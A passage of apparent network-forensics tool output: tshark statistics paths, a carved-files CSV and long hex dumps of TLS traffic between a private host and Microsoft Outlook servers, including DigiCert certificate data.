#126\n....o.........KR....tul.I.r......v...<..k...sU...;.\\%5.....WD19..h$...c......\\.{.[Q.I>/.P....A.[..7...:Is&0.w.H.m........t.).}..bh..../T..1.~..3Wu*dM.}..*..{8.....~:W..*..'I.z.....[.........y..\"\"...e..q.M..:.O.{..;...;dB[...GuPp..........i.mq0..,........\\.0...}....D..W'Fp.R3..4{~.C-J.E:B~....yo..U:!.<...e......^d.I.$..EbMaZ].p..>....M.Sg.r.J..k..)D..._)u.ck.J...Q(......\"\".QD0..tDBu.K..}....?[).>...dKB.!5..(L..[[O..CC!.p.....<Un.v...@.rL....Q-B...-..o.rV..K.I).f(zdQ....f..WK...18D.L.i..<.c....Pn.A.1S...Ni`..L..k..5.{7..5..f6..6..P...Z...ks.(....c.#........p...n...h..z1=.......Q.0 ..E..(..p.6......v..5..Z..[..}....}~..V.....\n####exit\"\n0.0,Network Stats,TShark Stat: protocol_hierarchy,Path: /tmp/tmpgwhzrm01/tshark/stats/tshark_protocol_hierarchy.txt\n0.0,Network Stats,TShark Stat: conversations_tcp,Path: /tmp/tmpgwhzrm01/tshark/stats/tshark_conversations_tcp.txt\n0.0,Network Stats,TShark Stat: conversations_udp,Path: /tmp/tmpgwhzrm01/tshark/stats/tshark_conversations_udp.txt\n0.0,Network Stats,TShark Stat: endpoints_ip,Path: /tmp/tmpgwhzrm01/tshark/stats/tshark_endpoints_ip.txt\n0.0,Network Stats,TShark Stat: http_stats,Path: /tmp/tmpgwhzrm01/tshark/stats/tshark_http_stats.txt\n0.0,Network Stats,TShark Stat: dns_stats,Path: /tmp/tmpgwhzrm01/tshark/stats/tshark_dns_stats.txt\n0.0,Network Stats,TShark Stat: expert_info,Path: /tmp/tmpgwhzrm01/tshark/stats/tshark_expert_info.txt\n0.0,Network Stats,TShark Stat: io_graph,Path: /tmp/tmpgwhzrm01/tshark/stats/tshark_io_graph.txt\n0.0,Forensics,Object Extracted: windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json%3fcacheHostOrigin=download.windowsupdate.com,Path: /tmp/tmpgwhzrm01/tshark/objects/windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json%3fcacheHostOrigin=download.windowsupdate.com\n1781447315.882949,Forensics,File Carved: gzip,\"Path: /tmp/tmpgwhzrm01/carved_files/carved_10.152.152.11:63963-40.99.204.194:443_bwd_0.gzip, Stream: 10.152.152.11:63963-40.99.204.194:443_bwd\"\n1781447323.165555,Forensics,File Carved: gzip,\"Path: /tmp/tmpgwhzrm01/carved_files/carved_10.152.152.11:64008-52.98.232.34:443_bwd_1.gzip, Stream: 10.152.152.11:64008-52.98.232.34:443_bwd\"\n","carved_files_analysis.csv":"Timestamp,Stream ID,Source IP,Source Port,Dest IP,Dest Port,Protocol,File Name,File Type,File Path,Size (bytes),MD5,SHA256,Entropy,Strings Preview,Content Preview (Hex)\n2026-06-14T20:09:38.728716,10.152.152.11:63963->40.99.204.194:443,10.152.152.11,63963,40.99.204.194,443,HTTP,carved_10.152.152.11:63963-40.99.204.194:443_bwd_0.gzip,gzip,/tmp/tmpgwhzrm01/carved_files/carved_10.152.152.11:63963-40.99.204.194:443_bwd_0.gzip,6741,a420e0e4a6ecb0e715c97be37d3708e4,dfbdc5f375691972da4761b8f1899ef3b0accaee997af66f75484072f9ea322a,7.76,\"iuP6, outlook.com, .hotmail.com, .internal.outlook.com, .live.com, .office.com, .office365.com, .outlook.com, .outlook.office365.com, attachment.outlook.live.net, attachment.outlook.office.net,  attachment.outlook.officeppe.net, attachments.office.net, attachments-sdf.office.net, ccs.login.microsoftonline.com, hotmail.com, mail.services.live.com, office365.com, outlook.office.com, substrate.office.com, substrate-sdf.office.com0>, 70503, 0)0', http://www.digicert.com/CPS0, Bhttp://crl3.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0H, Bhttp://crl4.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0, 0y0$, http://ocsp.digicert.com0Q, Ehttp://cacerts.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crt0,  yF)[Ro, DigiCert Inc1, www.digicert.com1 0, DigiCert Global Root G20, 210330000000Z, 310329235959Z0Y1, DigiCert Inc1301, DigiCert Global G2 TLS RSA SHA256 2020 CA10, bRBu, j0h0$, http://ocsp.digicert.com0, 4http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B, 0907, 1http://crl3.digicert.com/DigiCertGlobalRootG2.crl0, 6040, MLV_, UZ8r, 20260611071905Z0s0q0I0, 20260611070300Z, 20260618060300Z0, 3B F, )1jNB>, ZAry, lV7L, h6YO70, X5P8X, 0.No, kAkd, 75fK, WfmG, dgm3, :cAs, _m'Hs-, azX,:(, 0dN $, TIl2, :N77l, 4j8f, V,A6, e6oP, -cYZE3, x9nx, vKaft, HaCya, VE<[>, J2N8, N]qd, 6DGt\",1f 8b d4 55 7c 05 e1 cf 94 70 38 72 b7 65 9d 9d 6b 76 0a 6a 69 34 5e d1 ce 3e ac ed 7f 67 a5 dd 86 02 ec 55 f3 d3 39 9c 74 fa 02 ec 3a 96 8d fe e6 e4 69 75 50 36 a9 3b bc 8c c6 38 f1 da b4 b9 30 2b 89 32 30 a9 b2 38 84 28 60 9b d6 f1 31 ff 09 ca e0 ec 1d 93 61 1b c7 c9 e2 24 8f 79 b2 0c 61 fd ee 2d df 23 1f 4d 4f ac 40 1b 2a b2 d1 0f fe d7 49 e4 23 ed 16 e7 45 3b 76 4c c5 59 f4 0d 43 70 65 10 52 7f bf a6 aa 02 cf e8 dc 87 aa 24 cb e7 09 8c cc fa af 7c 54 7a 88 91 7c 16 15 8b b7 a9 f7 61 85 45 21 fa 88 bf 96 70 20 2c d6 ba 70 de 3e 16 7b 85 de 62 47 35 3f c1 a9 66 b6 55 f7 55 d3 1d d9 e4 04 34 f3 97 9f 41 05 f6 de 78 0b 32 00 f7 7e d3 5e ce 89 d6 0e c1 18 3a a4 bd 02 03 01 00 01 a3 82 05 25 30 82 05 21 30 1f 06 03 55 1d 23 04 18 30 16 80 14 74 85 80 c0 66 c7 df 37 de cf bd 29 37 aa 03 1d be ed cd 17 30 1d 06 03 55 1d 0e 04 16 04 14 76 45 e5 c3 cb 9c fe fa 5f fe 24 55 e8 bc 60 dd be aa 93 e1 30 82 01 bd 06 03 55 1d 11 04 82 01 b4 30 82 01 b0 82 0b 6f 75 74 6c 6f 6f 6b 2e 63 6f 6d 82 0d 2a 2e 68 6f 74 6d 61 69 6c 2e 63 6f 6d 82 16 2a 2e 69 6e 74 65 72 6e 61 6c 2e 6f 75 74 6c 6f 6f 6b 2e 63 6f 6d 82 0a 2a 2e 6c 69 76 65 2e 63 6f 6d 82 0c 2a 2e 6f 66 66 69 63 65 2e 63 6f 6d 82 0f 2a 2e 6f 66 66 69 63 65 33 36 35 2e 63 6f 6d 82 0d 2a 2e 6f 75 74 6c 6f 6f 6b 2e 63 6f 6d 82 17 2a 2e 6f 75 74 6c 6f 6f 6b 2e 6f 66 66 69 63 65 33 36 35 2e 63 6f 6d 82 1b 61 74 74 61 63 68 6d 65 6e 74 2e 6f 75 74 6c 6f 6f 6b 2e 6c 69 76 65 2e 6e 65 74 82 1d 61 74 74 61 63 68 6d 65 6e 74 2e 6f 75 74 6c 6f 6f 6b 2e 6f 66 66 69 63 65 2e 6e 65 74 82 20 61 74 74 61 63 68 6d 65 6e 74 2e 6f 75 74 6c 6f 6f 6b 2e 6f 66 66 69 63 65 70 70 65 2e 6e 65 74 82 16 61 74 74 61 63 68 6d 65 6e 74 73 2e 6f 66 66 69 63 65 2e 6e 65 74 82 1a 61 74 74 61 63 68 6d 65 6e 74 73 2d 73 64 66 2e 6f 66 66 69 63 65 2e 6e 65 74 82 1d 63 63 73 2e 6c 6f 67 69 6e 2e 6d 69 63 72 6f 73 6f 66 74 6f 6e 6c 69 6e 65 2e 63 6f 6d 82 0b 68 6f 74 6d 61 69 6c 2e 63 6f 6d 82 16 6d 61 69 6c 2e 73 65 72 76 69 63 65 73 2e 6c 69 76 65 2e 63 6f 6d 82 0d 6f 66 66 69 63 65 33 36 35 2e 63 6f 6d 82 12 6f 75 74 6c 6f 6f 6b 2e 6f 66 66 69 63 65 2e 63 6f 6d 82 14 73 75 62 73 74 72 61 74 65 2e 6f 66 66 69 63 65 2e 63 6f 6d 82 18 73 75 62 73 74 72 61 74 65 2d 73 64 66 2e 6f 66 66 69 63 65 2e 63 6f 6d 30 3e 06 03 55 1d 20 04 37 30 35 30 33 06 06 67 81 0c 01 02 02 30 29 30 27 06 08 2b 06 01 05 05 07 02 01 16 1b 68 74 74 70 3a 2f 2f 77 77 77 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 2f 43 50 53 30 0e 06 03 55 1d 0f 01 01 ff 04 04 03 02 05 a0 30 13 06 03 55 1d 25 04 0c 30 0a 06 08 2b 06 01 05 05 07 03 01 30 81 9f 06 03 55 1d 1f 04 81 97 30 81 94 30 48 a0 46 a0 44 86 42 68 74 74 70 3a 2f 2f 63 72 6c 33 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 2f 44 69 67 69 43 65 72 74 47 6c 6f 62 61 6c 47 32 54 4c 53 52 53 41 53 48 41 32 35 36 32 30 32 30 43 41 31 2d 31 2e 63 72 6c 30 48 a0 46 a0 44 86 42 68 74 74 70 3a 2f 2f 63 72 6c 34 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 2f 44 69 67 69 43 65 72 74 47 6c 6f 62 61 6c 47 32 54 4c 53 52 53 41 53 48 41 32 35 36 32 30 32 30 43 41 31 2d 31 2e 63 72 6c 30 81 87 06 08 2b 06 01 05 05 07 01 01 04 7b 30 79 30 24 06 08 2b 06 01 05 05 07 30 01 86 18 68 74 74 70 3a 2f 2f 6f 63 73 70 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 30 51 06 08 2b 06 01 05 05 07 30 02 86 45 68 74 74 70 3a 2f 2f 63 61 63 65 72 74 73 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 2f 44 69 67 69 43 65 72 74 47 6c 6f 62 61 6c 47 32 54 4c 53 52 53 41 53 48 41 32 35 36 32 30 32 30 43 41 31 2d 31 2e 63 72 74 30 0c 06 03 55 1d 13 01 01 ff 04 02 30 00 30 82 01 7d 06 0a 2b 06 01 04 01 d6 79 02 04 02 04 82 01 6d 04 82 01 69 01 67 00 76 00 c2 31 7e 57 45 19 a3 45 ee 7f 38 de b2 90 41 eb c7 c2 21 5a 22 bf 7f d5 b5 ad 76 9a d9 0e 52 cd 00 00 01 9d 02 27 fa 81 00 00 04 03 00 47 30 45 02 20 65 03 d2 b3 b9 5c 5a 3a fb 9c 23 6d 63 a4 98 27 a2 3c ff 95 9c 02 b2 86 93 fa 4b 0b a1 ff 79 f3 02 21 00 92 61 07 97 1c 23 5c 13 3a a4 38 1f 9f 19 43 c1 0e 6f 9f 06 5a 00 8a 1c dd 69 c2 4a 3a e8 4e 9e 00 75 00 d8 09 55 3b 94 4f 7a ff c8 16 19 6f 94 4f 85 ab b0 f8 fc 5e 87 55 26 0f 15 d1 2e 72 bb 45 4b 14 00 00 01 9d 02 27 fa b6 00 00 04 03 00 46 30 44 02 20 59 fb 3c ec a6 4c 86 42 f9 03 36 57 0c 90 b3 77 88 e0 61 fd 0e 50 56 d8 98 38 96 d8 9b 8f 18 98 02 20 70 90 7a 4e d1 25 44 ec e6 3d e2 a4 7b 3c 7e 1b bc 48 cd 7f 17 cb 88 71 32 24 fd 1d 05 48 33 33 00 76 00 94 4e 43 87 fa ec c1 ef 81 f3 19 24 26 a8 18 65 01 c7 d3 5f 38 02 01 3f 72 67 7d 55 37 2e 19 d8 00 00 01 9d 02 27 fa 8e 00 00 04 03 00 47 30 45 02 21 00 bd 0d 16 c1 72 d2 97 d7 e7 7a 36 0b 09 f5 ac 4b 96 90 76 78 7a ea a5 e5 dd 33 89 4d 3d 11 80 08 02 20 79 46 29 5b 52 6f b4 44 ae ca 90 48 88 e1 ae da a1 88 ad e2 b5 0a bf b7 05 37 2a d7 60 1a c6 0d 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 03 82 01 01 00 c8 d9 9f 18 d8 2d bd 8f df d8 d5 8d d4 40 4d b2 7c 38 25 d1 73 ec 17 50 fc 69 59 6c f7 f7 26 8f 13 f7 b9 82 f0 74 dd ce 49 d3 33 cf 5f 6e 80 24 35 c8 6f 6c 26 58 76 cc 89 56 36 74 1e ec 7a 54 3b d2 b4 f5 83 72 d6 1a 17 1e 67 53 cb 35 bf 16 ba bf 0f ee dd 03 2e c8 5c 7d 8d 80 f5 1c b7 52 09 52 5f 57 ec 8d 10 dd c3 a4 e7 92 30 09 d3 46 34 b8 38 3d 79 f4 61 eb d1 75 2b 81 f5 b7 2c 63 eb c2 d5 ac b1 af 15 97 ae 4f ea 4a 04 e7 46 13 0a a2 23 8f ed 38 e5 e6 42 3e 2a 49 da ee 7f 87 2b 2f 42 10 da d2 be c1 78 d6 dd b3 d1 28 12 da c0 af 73 86 a5 a6 25 3c ae f1 cf d7 03 39 d1 42 e9 52 90 27 4b 6d af f3 41 fe f1 27 5f 1b c0 ec 3b dc 5c 30 36 87 94 28 1a 81 ff da a1 ba 0b 87 86 9f cf 9f 7b c9 74 fb 79 d8 70 c2 20 43 2b de dd 63 d1 d0 71 0a b1 75 8d a5 5e d1 de 17 1b 80 00 04 cc 30 82 04 c8 30 82 03 b0 a0 03 02 01 02 02 10 0c f5 bd 06 2b 56 02 f4 7a b8 50 2c 23 cc f0 66 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 61 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 15 30 13 06 03 55 04 0a 13 0c 44 69 67 69 43 65 72 74 20 49 6e 63 31 19 30 17 06 03 55 04 0b 13 10 77 77 77 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 31 20 30 1e 06 03 55 04 03 13 17 44 69 67 69 43 65 72 74 20 47 6c 6f 62 61 6c 20 52 6f 6f 74 20 47 32 30 1e 17 0d 32 31 30 33 33 30 30 30 30 30 30 30 5a 17 0d 33 31 30 33 32 39 32 33 35 39 35 39 5a 30 59 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 15 30 13 06 03 55 04 0a 13 0c 44 69 67 69 43 65 72 74 20 49 6e 63 31 33 30 31 06 03 55 04 03 13 2a 44 69 67 69 43 65 72 74 20 47 6c 6f 62 61 6c 20 47 32 20 54 4c 53 20 52 53 41 20 53 48 41 32 35 36 20 32 30 32 30 20 43 41 31 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 cc f7 10 62 4f a6 bb 63 6f ed 90 52 56 c5 6d 27 7b 7a 12 56 8a f1 f4 f9 d6 e7 e1 8f bd 95 ab f2 60 41 15 70 db 12 00 fa 27 0a b5 57 38 5b 7d b2 51 93 71 95 0e 6a 41 94 5b 35 1b fa 7b fa bb c5 be 24 30 fe 56 ef c4 f3 7d 97 e3 14 f5 14 4d cb a7 10 f2 16 ea ab 22 f0 31 22 11 61 69 90 26 ba 78 d9 97 1f e3 7d 66 ab 75 44 95 73 c8 ac ff ef 5d 0a 8a 59 43 e1 ac b2 3a 0f f3 48 fc d7 6b 37 c1 63 dc de 46 d6 db 45 fe 7d 23 fd 90 e8 51 07 1e 51 a3 5f ed 49 46 54 7f 2c 88 c5 f4 13 9c 97 15 3c 03 e8 a1 39 dc 69 0c 32 c1 af 16 57 4c 94 47 42 7c a2 c8 9c 7d e6 d4 4d 54 af 42 99 a8 c1 04 c2 77 9c d6 48 e4 ce 11 e0 2a 80 99 f0 43 70 cf 3f 76 6b d1 4c 49 ab 24 5e c2 0d 82 fd 46 a8 ab 6c 93 cc 62 52 42 75 92 f8 9a fa 5e 5e b2 b0 61 e5 1f 1f b9 7f 09 98 e8 3d fa 83 7f 47 69 a1 02 03 01 00 01 a3 82 01 82 30 82 01 7e 30 12 06 03 55 1d 13 01 01 ff 04 08 30 06 01 01 ff 02 01 00 30 1d 06 03 55 1d 0e 04 16 04 14 74 85 80 c0 66 c7 df 37 de cf bd 29 37 aa 03 1d be ed cd 17 30 1f 06 03 55 1d 23 04 18 30 16 80 14 4e 22 54 20 18 95 e6 e3 6e e6 0f fa fa b9 12 ed 06 17 8f 39 30 0e 06 03 55 1d 0f 01 01 ff 04 04 03 02 01 86 30 1d 06 03 55 1d 25 04 16 30 14 06 08 2b 06 01 05 05 07 03 01 06 08 2b 06 01 05 05 07 03 02 30 76 06 08 2b 06 01 05 05 07 01 01 04 6a 30 68 30 24 06 08 2b 06 01 05 05 07 30 01 86 18 68 74 74 70 3a 2f 2f 6f 63 73 70 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 30 40 06 08 2b 06 01 05 05 07 30 02 86 34 68 74 74 70 3a 2f 2f 63 61 63 65 72 74 73 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 2f 44 69 67 69 43 65 72 74 47 6c 6f 62 61 6c 52 6f 6f 74 47 32 2e 63 72 74 30 42 06 03 55 1d 1f 04 3b 30 39 30 37 a0 35 a0 33 86 31 68 74 74 70 3a 2f 2f 63 72 6c 33 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 2f 44 69 67 69 43 65 72 74 47 6c 6f 62 61 6c 52 6f 6f 74 47 32 2e 63 72 6c 30 3d 06 03 55 1d 20 04 36 30 34 30 0b 06 09 60 86 48 01 86 fd 6c 02 01 30 07 06 05 67 81 0c 01 01 30 08 06 06 67 81 0c 01 02 01 30 08 06 06 67 81 0c 01 02 02 30 08 06 06 67 81 0c 01 02 03 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 03 82 01 01 00 90 f1 70 cb 28 97 69 97 7c 74 fd c0 fa 26 7b 53 ab ad cd 65 fd ba 9c 06 9c 8a d7 5a 43 87 ed 4d 4c 56 5f ad c1 c5 b5 05 20 2e 59 d1 ff 4a f5 a0 2a d8 b0 95 ad c9 2e 4a 3b d7 a7 f6 6f 88 29 fc 30 3f 24 84 bb c3 b7 7b 93 07 2c af 87 6b 76 33 ed 00 55 52 b2 59 9e e4 b9 d0 f3 df e7 0f fe dd f8 c4 b9 10 72 81 09 04 5f cf 97 9e 2e 32 75 8e cf 9a 58 d2 57 31 7e 37 01 81 b2 66 6d 29 1a b1 66 09 6d d1 6e 90 f4 b9 fa 2f 01 14 c5 5c 56 64 01 d9 7d 87 a8 38 53 9f 8b 5d 46 6d 5c c6 27 84 81 d4 7e 8c 8c a3 9b 52 e7 c6 88 ec 37 7c 2a fb f0 55 5a 38 72 10 d8 00 13 cf 4c 73 db aa 37 35 a8 29 81 69 9c 76 bc de 18 7b 90 d4 ca cf ef 67 03 fd 04 5a 21 16 b1 ff ea 3f df dc 82 f5 eb f4 59 92 23 0d 24 2a 95 25 4c ca a1 91 e6 d4 b7 ac 87 74 b3 f1 6d a3 99 db f9 d5 bd 84 40 9f 07 98 16 00 01 db 01 00 01 d7 30 82 01 d3 0a 01 00 a0 82 01 cc 30 82 01 c8 06 09 2b 06 01 05 05 07 30 01 01 04 82 01 b9 30 82 01 b5 30 81 9e a2 16 04 14 74 85 80 c0 66 c7 df 37 de cf bd 29 37 aa 03 1d be ed cd 17 18 0f 32 30 32 36 30 36 31 31 30 37 31 39 30 35 5a 30 73 30 71 30 49 30 09 06 05 2b 0e 03 02 1a 05 00 04 14 a7 c4 b8 b3 dc 5b b5 58 1e a7 d7 f1 3a c5 69 f5 6f 48 d7 89 04 14 74 85 80 c0 66 c7 df 37 de cf bd 29 37 aa 03 1d be ed cd 17 02 10 05 90 cb d3 65 66 7f 41 04 a9 a2 69 0c 5b 7c 73 80 00 18 0f 32 30 32 36 30 36 31 31 30 37 30 33 30 30 5a a0 11 18 0f 32 30 32 36 30 36 31 38 30 36 30 33 30 30 5a 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 03 82 01 01 00 61 7f a9 30 ba 43 6d e9 3c c8 a6 a5 d2 ee 13 15 c0 80 04 25 a2 02 12 f8 b2 e5 33 42 20 46 b4 f0 65 32 04 92 74 f7 d1 a3 a9 10 0e db 1e a3 3f f5 ed f9 72 38 f4 e1 67 5a fe bc a2 b0 f2 21 72 07 7c 82 c4 d2 82 7e 3a 8d ae b2 58 09 3e 3b 77 be 5d 14 6d 63 f1 57 67 2a bb 7e eb 68 4c ad f3 78 c3 f2 38 cd d7 49 d1 eb a8 69 f4 ea 18 bc 5f 40 f8 54 85 d6 d8 9e 3a d5 39 89 04 c0 a1 94 cd 28 6b 7a 83 45 00 9d 6e e6 51 0a 7f 3e 2d 5f e1 36 a9 d0 1e d6 4c 7a 98 0e 05 a0 e8 2a 37 d1 c3 e3 1a a5 49 ed ad c9 74 35 7c f3 2f 90 81 38 84 75 5e fa cc 5d 44 d2 56 57 08 3d b0 34 e2 24 01 8d 3c 73 07 7a 4c 60 60 8d 9b 73 62 cb a3 91 11 10 41 de 8d 6f a7 90 26 e7 24 da 6a d3 46 75 11 d0 19 87 53 5f b0 84 bc 0b ce e6 bb 81 bb 3b cc 2c 9f 84 6b 89 6c fe 4e a5 68 0e 15 e2 b6 58 c0 32 0c 00 01 69 03 00 18 61 04 fa 19 cf 9e c6 e4 b2 6f 65 7a ee 9d b7 17 83 0f 25 13 1f 08 32 48 66 03 3e 14 09 18 8d 33 7a bd d4 68 99 a1 8f 54 6d cb 77 88 6f 37 c1 8b e0 7e 27 3e c0 66 47 93 5b 3f 16 e6 5e 6a 40 a1 4b fb 8e 45 64 b9 fd 72 37 a4 1f f9 6a f5 be 9d fe fd 1a 2e 23 c9 26 87 45 5e 94 da 18 ef 84 3f 6f 82 08 04 01 00 6a 5b 5d ba b8 1b b9 3b 56 4a 91 b6 29 31 6a 4e 42 3e bc 38 3f 75 76 19 af 12 c2 1d 6b 62 79 d1 46 0c 17 97 7e 8b 59 c8 71 1d db 1d b0 44 cf 66 e8 a0 2b 9d be 25 03 f6 89 7f 95 12 29 5d 64 96 cd 19 7a a6 cd 5f ee 34 73 9e 98 c9 5a 41 72 79 a6 b1 e2 74 89 f8 fb 96 65 40 30 0a 8e d5 11 1d 15 7b 57 32 9b 9b 30 6a da fc 50 f0 20 d4 8e 06 0f d7 98 ff b4 0c 54 fa ca f7 20 fc 88 25 ab b2 e0 00 33 e5 d0 b9 f3 d7 db 9e 0c 9d 6d c7 76 84 23 4d d8 7f 74 da e0 c8 14 03 3b 2a b1 68 68 9c be 3f 36 79 e3 a3 a6 51 46 f5 bc 9a b5 e3 ef 87 f8 73 61 09 52 95 2a 49 d7 a5 20 8e 3f 3c ab 0c 4f c9 5d cb 75 3b 66 ed 02 dd 15 c6 a5 4b 49 89 a6 81 47 3f ab cc 2d d5 2e 7d 2e 0e 94 cb f1 ba 15 02 7d 0b b2 49 33 c2 c1 b7 b2 bf a5 10 ac ee 34 d9 39 52 78 0a 6c 56 37 4c 10 d0 ac d7 1c f5 0e 00 00 00 16 03 03 01 2e 04 00 01 2a 00 00 8c a0 01 24 00 00 00 00 0a b6 1c be e7 03 d4 43 bc 0e 09 31 b6 2d e9 e7 92 07 dc dd 13 ef 5f bf a7 df 9d 7c 68 36 59 4f 37 30 09 a6 9f f1 cc 68 58 06 43 d5 30 20 a7 c1 68 22 56 9e dd 77 e6 5f 59 91 cb 50 50 bc ae fa f6 b3 51 d9 82 e1 5f 89 20 40 f0 c8 1b 19 56 48 3a 22 7e 00 01 5c 61 6c 40 a6 24 48 3f 74 d0 3d 1c 0c 9b a9 d6 6c c4 bd 61 a2 b7 c6 55 a1 b5 eb 1c f6 01 79 cf 2a fd b1 74 e7 68 3a af 13 a6 b3 c7 43 1c 44 e4 a9 4e 3f cc 87 37 a2 db 12 7b 5d 09 15 cd 71 7e a6 65 1b 54 d4 88 0a 81 15 67 1b e5 bb b9 9e 57 b0 ec ba 89 55 f4 5d 6e 6d 7c 41 f6 58 33 5b f6 d5 67 30 2d 87 95 35 80 bc e6 62 bd cc b6 8e 93 b6 ff 66 bd 32 49 38 8b 58 35 50 38 58 c9 b6 25 59 05 4e d5 a2 56 59 72 e3 8e 4f d4 9f 03 7e 73 14 37 57 c3 95 2e e7 c7 1b e8 10 f6 da e1 53 37 15 e4 3b 41 db 3a f9 ce bd 0b bd c1 a7 37 07 43 2c 45 e1 0b ee 0d 6c f0 ea 91 2c 4e fc be 46 41 73 9d 51 e6 d3 a9 58 67 04 61 a1 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 2b 8e ec df 03 d0 15 d6 9b d7 e6 37 79 84 c0 ca 29 8e eb ff eb dd 2d a2 46 b5 c2 fa 69 cd 62 dd 17 03 03 00 40 00 00 00 00 00 00 00 01 9b 57 f7 1f 89 70 37 3f 8c 80 27 b9 6a 52 0e 17 00 7b 50 a3 69 27 b1 3e 18 e1 73 f0 0d db 09 a9 1b 86 50 c9 f2 08 05 1d c4 fb fb a6 ba 45 b5 27 df 4b 60 b7 ef 72 77 93 17 03 03 00 21 00 00 00 00 00 00 00 02 2f 18 65 e3 4c 69 8e 74 4e e9 3e ca 16 a8 a2 c7 33 6f 77 0d cd 03 85 30 01 17 03 03 03 55 00 00 00 00 00 00 00 03 75 9a 44 c1 8f 5e ec 4c 3e 42 40 74 f4 dd 59 a4 c5 64 3c f8 d4 b2 b8 fa ce 96 bc d1 38 25 a8 ca 28 c6 9b 67 77 bd 3a 58 a2 92 cd 91 98 30 2e 4e 6f c3 19 49 3b 05 44 0a 55 67 45 cc 93 bf 0e 0f 33 86 21 ce 25 bb c2 16 00 11 45 24 b4 d0 65 58 ed a1 aa 51 51 ac 91 99 02 f1 9d 39 42 00 b4 17 93 4f ce 71 3a 45 23 0a a4 e1 17 fe cb e5 5e 11 1b e2 cd 46 5d 97 d9 33 90 ef f3 74 a9 d0 f5 37 38 30 e1 79 0a d6 0d 23 a6 b7 98 e0 b3 6b 41 6b 64 06 80 85 ca 28 16 00 de b7 d0 47 89 fa 4d fb 4a 51 7f cc f3 d2 b6 f4 9d ba 18 fd d6 9b 9a bb 94 a8 99 4f d1 2a e8 b0 b4 1c 9c c3 d7 b3 68 aa fd a5 37 52 6d 5c 3b ce 73 69 86 ce d0 27 bc 03 c7 2c 87 22 74 9a d5 bf 03 b2 d9 92 83 9f 87 e2 37 35 66 4b e6 a9 9d 9b f2 f2 39 7a fe d7 d3 bf 47 58 75 80 b1 6f cb 1b 5b fe 25 3e 92 2a e3 f5 f3 0d e7 95 fa 62 ce 61 75 a4 32 49 da 57 66 6d 47 b1 57 7b e9 a0 96 be e8 f7 a7 cf ee 0b 58 b0 1b bf 8d 11 06 bb 81 b4 17 59 ae 7c a2 08 9e 14 8f 4e d6 13 cb 29 05 c0 fe c2 d4 9a 3e 25 97 42 ee ae 0f 29 e3 9a 38 92 f9 a6 c4 5d 9c 3b b8 9d 3e a5 f0 97 3c ed 1f af 2e 11 64 67 6d 33 18 4f bd 46 41 d3 20 92 a4 c7 0c 47 bd 1f 3a c9 f2 b8 84 70 3c 0d c2 90 fd 40 67 0a cb c1 2f f8 ed d7 3f 1f 75 aa ee d6 de 03 49 72 33 cc a5 f4 3a 63 41 73 b8 c5 d4 d3 ea ab 47 7d 7e 56 78 a0 bc 2f ca 66 39 bb 29 76 cd 08 75 de bd b0 82 4a ea 09 61 7d 5d b4 8e 5d d6 48 23 96 b2 e3 86 c7 05 fe a4 7a bc f1 55 6f e9 a0 fe 80 31 79 4a d3 ca 62 8d 4c c6 58 d8 8e 44 56 06 74 bc 31 83 1c e3 0b 2d 9a d1 3a af e6 42 2a b9 f0 c9 64 ad 30 6e 1c 31 2b 38 af 8a 31 e5 a2 e2 0f 54 9e ab 7b b8 04 fb e9 e3 88 3d 76 49 15 33 f6 70 08 50 b0 30 25 20 87 1d 72 0d 61 c1 c3 5f 6d 27 48 73 2d 1c 66 fe 65 b3 46 87 18 ab 8b 29 34 8e 95 0d df 9b 78 78 b7 7c e8 94 6e 85 3e 3c ea 61 7a 58 2c 3a 28 bd 76 1e cc 65 93 da 3a 87 1e 12 23 ad 16 c6 04 5e ec 01 74 69 a0 e6 7d 48 5f 45 cc 40 aa 5e f7 bd dd 6d 8d c0 46 e4 86 29 ff e8 51 b8 d8 03 61 31 ac 44 6b 27 0d c0 a8 4f 5b 45 c9 c4 59 51 84 27 f5 5c 30 64 4e 20 24 89 8d f1 be 02 b7 0d 7c 5b 06 af 8f fb 98 58 34 c5 96 65 9e 0e 06 36 b7 d7 a8 ba 2f 38 1d f3 e1 32 52 92 8f 19 02 40 05 14 0a 6b 3d d4 54 49 6c 32 f5 f4 e8 c4 e0 0b 87 25 9e 79 3b a0 d4 85 f9 91 59 bb af 86 c4 96 c2 3a 4e 37 37 6c d0 66 b3 cd bf 1a 70 59 15 57 b8 4e 49 c1 1f 11 80 06 82 6d 4c e5 e9 3f cf c5 00 1a 86 0c 84 c3 d6 8e 99 e9 e5 73 da 98 3b f5 b4 db c6 38 c4 be a6 cf 06 3f 13 f6 b7 7e 33 07 ea c4 e6 03 05 a6 70 94 b3 88 79 36 b4 41 7f e9 db 10 75 71 bf 10 6c 85 d2 c8 45 e6 52 b4 e4 fa ce 2d b2 20 6c a6 82 fd 33 84 08 97 56 e7 bf d7 7c 31 a8 50 cb 29 e1 e5 28 48 03 a2 e1 6b 17 03 03 00 cf 00 00 00 00 00 00 00 04 78 18 37 de 88 3f 43 c6 d8 7c ea 77 6a 0c b4 85 d8 4d a6 39 86 09 f0 04 12 b8 7a bd 20 f4 22 72 23 46 5c a9 21 7b 4c 8f 63 fa 48 b7 d7 e7 b6 68 90 f7 cd a3 